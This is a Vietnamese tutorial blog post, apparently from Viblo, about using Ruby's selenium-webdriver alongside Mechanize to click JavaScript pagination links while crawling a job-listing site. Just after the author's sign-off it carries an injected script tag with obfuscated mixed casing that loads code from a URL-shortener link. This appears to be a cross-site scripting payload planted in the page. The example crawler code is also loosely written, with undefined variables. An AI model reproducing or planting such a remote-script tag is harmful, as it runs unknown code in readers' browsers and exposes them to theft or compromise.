0

Web crawler nâng cao với Mechanize (P2)

big-logo_400x400.png

Như đã đề cập ở trong bài viết ở phần 1, bài viết này mình xin chia sẻ một chút vấn đề đã gặp phải trong quá trình làm crawler và cách mình đã giải quyết nó. Rất mong các bạn ủng hộ (bowbowbow)

Phần 2 : Click link JavaScript.

1. Đặt vấn đề.

Cũng là bước click vào button chuyển trang như bài trước, nhưng bây giờ mình xin đề cập đến click link JS - cái này thì gem Mechanize không hỗ trợ cho chúng ta

Bạn vẫn có thể thực hiện chuyển trang thông qua việc phân tích nội dung url của trang và mong chờ trong mớ ký tự đấy có một dấu hiệu nào đó để bạn nhận biết là mình đang ở đâu, đang get thông tin ở trang nào? Nhưng làm như thế thì mình quá bị động và chắc gì là đã có dấu hiệu cho bạn nhận biết kia. (ohno)

Rất may mắn là trong quá trình tìm hiểu, mình đã được anh GL Nuyễn Thành Linh gợi ý cho một thư viện rất cũ kỹ, tưởng chừng như chẳng liên quan gì đến crawler nhưng đã giải quyết được vấn đề này rất ngon lành. Đó là selenium-webdriver

Và trong bài viết này, mình xin giới thiệu qua một chút về Selenium Webdriver và cách sử dụng có trong trường hợp này

2. Giới thiệu selenium-webdriver.

Selenium Webdriver thực ra là một thư viện khá mạnh mẽ dùng để kiểm thử tự động (test automation) trên các trình duyệt khác nhau và hỗ trợ nhiều ngôn ngữ khác nhau

Có nhiều gem Selenium khác nhau nhưng chỉ có gem ở đây là bản chính thức

Trong bài viết này thì mình sẽ không đề cập chi tiết về selenium-webdriver (thú thật là mình cũng chưa tìm hiểu kỹ càng về phần này 😄) mà chỉ sử dụng khả năng bắt được link JS của thư viện này để giải quyết vấn đề mình đang gặp phải

Bạn có thể tìm hiểu kỹ hơn về thư viện này ở đây

Bài viết này đang đề cập đến phần RubyBindings của thư viện selenium-webdriver

3. Sử dụng selenium-webdriver.

  • Khởi tạo driver và đi đến một website cụ thể (ở đây mình lấy ví dụ là trang Google).

    require "selenium-webdriver"

    driver = Selenium::WebDriver.for :firefox
    driver.navigate.to "http://google.com"
  • Thoát driver khi đã hoàn thành công việc.

    driver.quit
  • Các thao tác với driver.

    # execute arbitrary javascript
    puts driver.execute_script("return window.location.pathname")

    # pass elements between Ruby and JavaScript
    element = driver.execute_script("return document.body")
    driver.execute_script("return arguments[0].tagName", element) #=> "BODY"

    # wait for a specific element to show up
    wait = Selenium::WebDriver::Wait.new(:timeout => 10) # seconds
    wait.until { driver.find_element(:id => "foo") }

    # switch to a frame
    driver.switch_to.frame "some-frame" # name or id
    driver.switch_to.frame driver.find_element(:id, 'some-frame') # frame element

    # switch back to the main document
    driver.switch_to.default_content

    # repositionning and resizing browser window:
    driver.manage.window.move_to(300, 400)
    driver.manage.window.resize_to(500, 800)
    driver.manage.window.maximize
  • Các hao tác với element.

    # get an attribute
    class_name = element.attribute("class")

    # is the element visible on the page?
    element.displayed?

    # click the element
    element.click

    # get the element location
    element.location

    # scroll the element into view, then return its location
    element.location_once_scrolled_into_view

    # get the width and height of an element
    element.size

    # press space on an element - see Selenium::WebDriver::Keys for possible values
    element.send_keys :space

    # get the text of an element
    element.text

3. Ví dụ.

a. Cài đặt

Gem selenium-webdriver, phiên bản mới nhất là 2.48.1

  • Gemfile.

gem "selenium-webdriver", "~> 2.48.1"
  • File hệ thống.

require "selenium-webdriver"

b. Tiến hành.

  • Trong ví dụ này mình tiến hành get thông tin từ website http://www.ecareer.ne.jp.

  • Mình sẽ sử dụng trình duyệt firefox cho ví dụ này.

  • Phần mình trình bày ở đây chỉ là sử dụng selenium-webdriver click vào button JS để chuyển sang trang tiếp theo. Từ đó đưa ra một mảng chứa danh sách url các bài viết cụ thể mà mình cần lấy thông tin.

Nhiệm vụ vủa chúng ta là làm sao bắt được sự kiện click vào hàm javascript:pageNavi()

Ở đây ta nhận thấy, hàm javascript pageNavi() nhận đầu vào là bội số của 30, với trang thứ i thì offset đầu vào sẽ là 30 * (i - 1)

  • Xây dựng hàm get_list_job_link với code đầy đủ như sau:

def get_list_job_link workpage
  driver = Selenium::WebDriver.for :firefox
  driver.navigate.to workpage.uri.to_s

  list_job_link = []
  list_page_error = 0
  page = start_page
  offset = (page - 1) * 30

  driver.execute_script("pageNavi(#{offset})")
  workpage = mechanize_website driver.current_url
  list_job_link += workpage.search("li.entry a").map {|link| url + link["href"]}

  page += 1
  driver.quit
  return list_job_link
end

Method get_list_job_link nhận đầu vào biến workpage là trang phân trang danh sách các bài viết ở đây đã được get về bằng Mechinaze (phần này mình không đề cập ở đây)

Khi chạy method này thì trình duyệt firefox sẽ tự động được bật lên, và thực hiện mọi thao tác giống như chúng ta vẫn thường làm vậy. Vào trang, click vào button chuyển trang, lần lượt lấy hết link bài viết trong trang đó, lại click chuyển sang trang tiếp theo vào tiếp tục như thế... Nhưng ở đây chỉ khác một chỗ duy nhất là tất cả đều được làm hoàn toàn tự động 😄

ecarrer.png

Ta có kết quả là mảng list_job_link như sau

(byebug) list_job_link
["http://www.ecareer.ne.jp/ecareer.ShigotoInfoServlet?CORPCD=00036234001&JOBSEQ=32",
"http://www.ecareer.ne.jp/ecareer.ShigotoInfoServlet?CORPCD=00036234001&JOBSEQ=42",
"http://www.ecareer.ne.jp/ecareer.ShigotoInfoServlet?CORPCD=00041456001&JOBSEQ=3",
"http://www.ecareer.ne.jp/ecareer.ShigotoInfoServlet?CORPCD=00041456001&JOBSEQ=4",
"http://www.ecareer.ne.jp/ecareer.ShigotoInfoServlet?CORPCD=00036234001&JOBSEQ=36",
"http://www.ecareer.ne.jp/ecareer.ShigotoInfoServlet?CORPCD=00036234001&JOBSEQ=39",
"http://www.ecareer.ne.jp/ecareer.ShigotoInfoServlet?CORPCD=00036234001&JOBSEQ=33",
"http://www.ecareer.ne.jp/ecareer.ShigotoInfoServlet?CORPCD=00041511001&JOBSEQ=1"]

Để tăng hiệu quả của việc crawler thì chúng ta có thể kết hợp với việc sử dụng các thư viện Background job như là gem Sidekiq..., nhằm tận dụng hết được tài nguyên của máy tính cũng như băng thông

Lời kết

Đây chỉ là một trường hợp nhỏ mà mình gặp phải khi crawler và mình chỉ muốn nói là việc crawler cần các bạn phải rất linh hoạt

Hi vọng bài viết này có thể giúp các bạn giải quyết vấn đề tương tự. 😄

Tham khảo.

Cám ơn bạn đã đọc bài viết!!!

tribeo

<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí